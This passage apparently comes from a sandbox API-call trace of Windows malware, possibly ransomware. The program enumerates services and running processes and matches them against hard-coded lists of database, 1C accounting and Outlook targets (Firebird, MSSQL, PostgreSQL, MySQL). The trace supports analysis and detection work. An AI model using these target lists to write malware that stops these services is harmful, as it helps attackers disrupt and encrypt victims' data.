(lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0273.360] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0273.360] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0273.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0273.360] lstrlenW (lpString="CscService") returned 10 [0273.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0273.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0273.360] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0273.360] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0273.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0273.360] lstrlenW (lpString="DcomLaunch") returned 10 [0273.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.360] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0273.360] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0273.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0273.360] lstrlenW (lpString="Dhcp") returned 4 [0273.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0273.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0273.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0273.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0273.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0273.360] lstrlenW (lpString="Dnscache") returned 8 [0273.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0273.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0273.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0273.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0273.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0273.361] lstrlenW (lpString="DPS") returned 3 [0273.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0273.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0273.361] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0273.361] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0273.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0273.361] lstrlenW (lpString="eventlog") returned 8 [0273.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0273.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0273.361] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0273.361] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0273.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0273.361] lstrlenW (lpString="EventSystem") returned 11 [0273.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0273.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0273.361] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0273.361] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0273.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0273.361] lstrlenW (lpString="gpsvc") returned 5 [0273.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0273.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0273.361] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0273.361] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0273.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0273.361] lstrlenW (lpString="iphlpsvc") returned 8 [0273.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.361] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0273.361] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0273.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0273.361] lstrlenW (lpString="LanmanServer") returned 12 [0273.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0273.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0273.361] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0273.361] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0273.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0273.362] lstrlenW (lpString="LanmanWorkstation") returned 17 [0273.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.362] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0273.362] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0273.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0273.362] lstrlenW (lpString="lmhosts") returned 7 [0273.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0273.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0273.362] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0273.362] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0273.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0273.362] lstrlenW (lpString="MMCSS") returned 5 [0273.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0273.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0273.362] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0273.362] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0273.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0273.362] lstrlenW (lpString="MpsSvc") returned 6 [0273.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0273.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0273.362] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0273.362] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0273.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0273.362] lstrlenW (lpString="Netman") returned 6 [0273.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0273.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0273.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0273.362] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0273.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0273.362] lstrlenW (lpString="netprofm") returned 8 [0273.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0273.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0273.362] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0273.363] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0273.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0273.363] lstrlenW (lpString="NlaSvc") returned 6 [0273.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0273.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0273.363] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0273.363] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0273.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0273.363] lstrlenW (lpString="nsi") returned 3 [0273.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0273.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0273.363] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0273.363] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0273.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0273.363] lstrlenW (lpString="PcaSvc") returned 6 [0273.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0273.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0273.363] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0273.363] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0273.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0273.363] lstrlenW (lpString="PlugPlay") returned 8 [0273.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0273.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0273.363] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0273.363] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0273.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0273.363] lstrlenW (lpString="Power") returned 5 [0273.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0273.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0273.363] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0273.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0273.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0273.363] lstrlenW (lpString="ProfSvc") returned 7 [0273.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0273.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0273.364] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0273.364] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0273.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0273.364] lstrlenW (lpString="RpcEptMapper") returned 12 [0273.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.364] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0273.364] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0273.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0273.364] lstrlenW (lpString="RpcSs") returned 5 [0273.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0273.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0273.364] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0273.364] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0273.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0273.364] lstrlenW (lpString="SamSs") returned 5 [0273.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0273.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0273.364] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0273.364] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0273.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0273.364] lstrlenW (lpString="Schedule") returned 8 [0273.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0273.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0273.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0273.364] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0273.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0273.364] lstrlenW (lpString="SENS") returned 4 [0273.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0273.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0273.364] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0273.364] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0273.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0273.364] lstrlenW (lpString="ShellHWDetection") returned 16 [0273.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.365] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0273.365] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0273.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0273.365] lstrlenW (lpString="Spooler") returned 7 [0273.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0273.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0273.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0273.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0273.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0273.365] lstrlenW (lpString="SysMain") returned 7 [0273.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0273.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0273.365] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0273.365] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0273.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0273.365] lstrlenW (lpString="Themes") returned 6 [0273.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0273.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0273.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0273.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0273.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0273.365] lstrlenW (lpString="TrkWks") returned 6 [0273.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0273.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0273.365] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0273.365] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0273.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0273.365] lstrlenW (lpString="UxSms") returned 5 [0273.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0273.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0273.365] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0273.365] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0273.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0273.365] lstrlenW (lpString="WdiServiceHost") returned 14 [0273.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0273.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0273.366] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0273.366] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0273.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0273.366] lstrlenW (lpString="WdiSystemHost") returned 13 [0273.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0273.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0273.366] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0273.366] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0273.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0273.366] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0273.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0273.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0273.366] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0273.366] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0273.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0273.366] lstrlenW (lpString="Winmgmt") returned 7 [0273.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0273.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0273.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0273.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0273.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0273.366] lstrlenW (lpString="WPDBusEnum") returned 10 [0273.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0273.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0273.366] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0273.366] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0273.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0273.366] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4ca0060 | out: hHeap=0x540000) returned 1 [0273.366] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x418 [0273.368] Process32FirstW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.368] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.368] lstrlenW (lpString="System") returned 6 [0273.368] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0273.368] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0273.368] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0273.368] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0273.368] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0273.368] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0273.368] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0273.368] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.368] lstrlenW (lpString="smss.exe") returned 8 [0273.368] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0273.368] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0273.369] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0273.369] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0273.369] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0273.369] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0273.369] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0273.369] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.369] lstrlenW (lpString="csrss.exe") returned 9 [0273.369] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0273.369] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0273.369] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0273.369] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0273.369] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0273.369] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0273.369] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0273.369] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.369] lstrlenW (lpString="wininit.exe") returned 11 [0273.369] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0273.369] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0273.369] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0273.369] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0273.369] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0273.369] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0273.370] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0273.370] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.370] lstrlenW (lpString="csrss.exe") returned 9 [0273.370] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0273.370] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0273.370] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0273.370] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0273.370] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0273.370] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0273.370] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.370] lstrlenW (lpString="winlogon.exe") returned 12 [0273.370] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.370] lstrlenW (lpString="services.exe") returned 12 [0273.370] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.371] lstrlenW (lpString="lsass.exe") returned 9 [0273.371] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0273.371] lstrlenW (lpString="lsm.exe") returned 7 [0273.371] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.371] lstrlenW (lpString="svchost.exe") returned 11 [0273.371] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.371] lstrlenW (lpString="svchost.exe") returned 11 [0273.371] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.372] lstrlenW (lpString="svchost.exe") returned 11 [0273.372] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.372] lstrlenW (lpString="svchost.exe") returned 11 [0273.372] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.372] lstrlenW (lpString="svchost.exe") returned 11 [0273.372] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: 